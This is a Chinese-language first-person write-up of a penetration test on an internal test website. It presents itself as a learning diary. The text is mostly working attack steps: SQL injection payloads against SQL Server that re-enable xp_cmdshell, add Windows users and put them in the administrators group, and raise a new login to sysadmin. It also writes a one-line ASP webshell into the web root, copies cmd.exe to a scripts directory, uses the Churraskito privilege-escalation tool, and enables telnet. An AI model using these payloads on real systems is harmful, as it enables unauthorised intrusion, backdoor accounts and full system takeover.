話說剛開始接觸安全測試時,沒有一個系統的概念,前輩仍一個內網測試網站,讓我把的shell拿下來,那我就開始吭哧吭哧的幹起來。web
首先,作滲透測試要有個思路,不能埋頭苦幹。因此就開始理了下思路,具體以下:sql
主要就這幾種思路,下面就開始實施。shell
既然是判斷有無sql注入,最方便的方法固然是使用工具進行掃描,這裏我使用的是webcruiser,一個很是小巧的工具,固然我這裏確定可以掃描出sql注入漏洞,接下來固然能夠繼續用這個工具獲得數據庫等信息,而我在這裏就直接在該sql注入點是否可以執行xp_cmdshell。數據庫
具體方法是這樣的:windows
?Id=1234;and (select count(*) from sysobjects)>0安全
?id=1234;and user>0 (若顯示dbo 則表明sa)。函數
?id=1234;and db_name()>0,執行異常時,能夠獲得當前鏈接的數據庫名。工具
?id=1234;and (select count(*) from master.dbo.sysobjects where xtype=」X」 and name =’xp_cmdshell’)sqlserver
?id=1234;and exec sp_addextendepro xp_cmdshell,’xplog70.dll’測試
若出現下面的錯誤,能夠嘗試以下方法:
l 沒法裝載 DLL xpsql70.dll 或該DLL 所引用的某一DLL。緣由126 (找不到指定模塊)。
首先執行,exec sp_dropextendeproc 「xp_cmdshell」 ,而後執行sp_addextendeproc 「xp_cmdshell」,」xpsql70.dll」
l 沒法再庫xpweb70.dll 中找到函數xp_cmdshell 緣由127
首先執行 exec sp_dropextendeproc 「xp_cmdshell」 ,而後執行 exec sp_addextendeproc 「xp_cmdshell」,」xpweb70.dll」
?id=1234 ;exec master..xp_cmdshell 「net user aaa bbb /add 」-- 其中aaa爲用戶名,bbb爲密碼。
添加到管理員組:
?id=1234 ;exec master..xp_cmdshell 「net localgroup administrators aaa/add 」
?id=1234 ;exec backup database 數據庫名 to disk =’C:\inetpub/wwwroot\save.db’,固然前提是知道web虛擬路徑。
?id=1234;exec master..xp_cmdshell 「copy c:\windows\system32\cmd.exe c:\inetpub\scripts\cmd.exe」
上面的主要是利用xp_cmdshell 方法來的,若是其中的方法不起做用,那就另當別論了。
既然是經過上傳一個文件,那麼首先要作的工做就是找各類上傳路徑,在前臺摸索了半天也沒有找到一個能夠上傳的功能,然後使用後臺上傳功能,經過找各類後臺,其中發現個admin這個後臺,無奈,用戶名和密碼均沒法經過驗證,從數據庫裏面看,也沒有相應的用戶名和密碼,因此這個後臺基本上是個無效的後臺,沒辦法,眼看着上傳這條路就要失效了,此時我又使用了webcruiser 對整個網站掃描了下,發現該軟件有cmd模式,並且可以執行成功,此時思路就來了,既然應用程序先後臺均沒法上傳,何不在這裏直接使用cmd命令來創建一個asp文件呢?固然前提是要知道web虛擬路徑在哪裏。
通常狀況下,web虛擬路徑一般是這樣的:C:\inetpub\wwwroot ;D:\inetpub\wwwroot ;
或者E:\inetpub\wwwroot 等 就這幾個路徑,而虛擬能夠執行的目錄通常是C:\inetpub\scripts ;D:\inetpub\scripts ; E:\inetpub\scripts
接下來,我在cmd命令下,直接執行一條命令:
echo ^<^%execute^(request^("eval"^)^)^%^> c:\inetpub\wwwroot\cms\test123456.asp
在這個目錄下,生成了個一句話木馬asp文件,而後再使用菜刀鏈接,ok,webshell拿到。
獲得webshell 不是最主要的,並且webshell 也沒有什麼太大的做用,所以就嘗試使用webshell往相應目錄傳送咱們的攻擊文件,嘗試了幾個目錄均沒有發現能夠執行的目錄,在快要放棄的狀況下,而後嘗試了C:\recycle這個目錄,發現能夠上傳能夠執行的文件,下面就簡單了。
接下來的思路很簡單,就是上傳一個後面軟件,執行系統權限添加操做。在作到過程當中,仍是遇到了很多困難,例如,開始上傳的瑞士軍刀,想經過反彈端口來執行咱們添加用戶的操做,發現沒法成功。
在後來,經過一些0day的溢出漏洞來取得系統權限,在網上搜羅了一大堆的0day軟件,均發現不能夠利用,後來看到「巴西烤肉」這款軟件,英文名Churraskito.exe,這款0day溢出軟件是如此的強大,並且我下的這個還麼有後門,直接執行Churraskito 「C:\windows\system32\cmd.exe 」 「net user 111 111/add」成功添加用戶,哈哈,固然若是你想加到管理員組,在使用Churraskito 「C:\windows\system32\cmd.exe 」 「net localgroup administrators 111 /add」 基本上就ok了,至此,一個簡單的獲取系統權限的滲透測試就算完成了。
這裏直接用webcruiser 中的cmd命令,直接執行添加用戶操做就能夠了,省去了後面的一系列操做。擦得,後來纔想到的,唉。。。
既然能夠執行,未必非要xp_cmdshell ,咱們能夠經過嘗試sa,這個操做,例如,先在數據庫中創建一個用戶,而後把該用戶提高爲sysadmin,以後在使用查詢分析器鏈接,固然仍是要使用xp_cmdshell 的存儲過程。
具體方法以下:
首先創建數據庫用戶:
?id=1234;exec master.dbo.sp_addlogin user;
固然也能夠爲這個用戶賦予密碼,其實無所謂,若是賦予密碼的話,這樣操做:
?id=1234;exec master.dbo.password null ,password ,user;
這裏的null就是舊密碼,password 爲新密碼。
而後將該用戶提高權限:
?id=1234;exec master.dbo.sp_addsrvrolemember user,sysadmin;
提高成功後,就能夠經過查詢分析器鏈接,鏈接成功後,直接查看xp_cmdshell是否能用;若是能用,則直接提高權限操做,;例如:
Xp_cmdshell ‘net user’
Xp_cmdshell ‘net user test123 test123 /add’
Xp_cmdshell ‘net localgroup administrators test123/add ’
Xp_cmdshell ‘net user test123 /del’
等。
開啓telnet服務:
Xp_cmdshell ‘net start tlntsvr’
在這期間,我知道了webshell 和shell 不是一回事,也知道了xp_cmdshell是能夠獲取系統權限的,也知道了 有些工具是能夠執行cmd命令的,固然我也初步瞭解下瑞士軍刀 巴西烤肉等一系列攻擊工具的用法,固然也瞭解到一些系統是能夠被0day的。雖然此次滲透還有不少沒有了解的地方,雖然只是大體的瞭解下,可是,對之後這方面,應該有個很好的思路以及借鑑。安全這塊,任重而道遠,以此勉勵本身。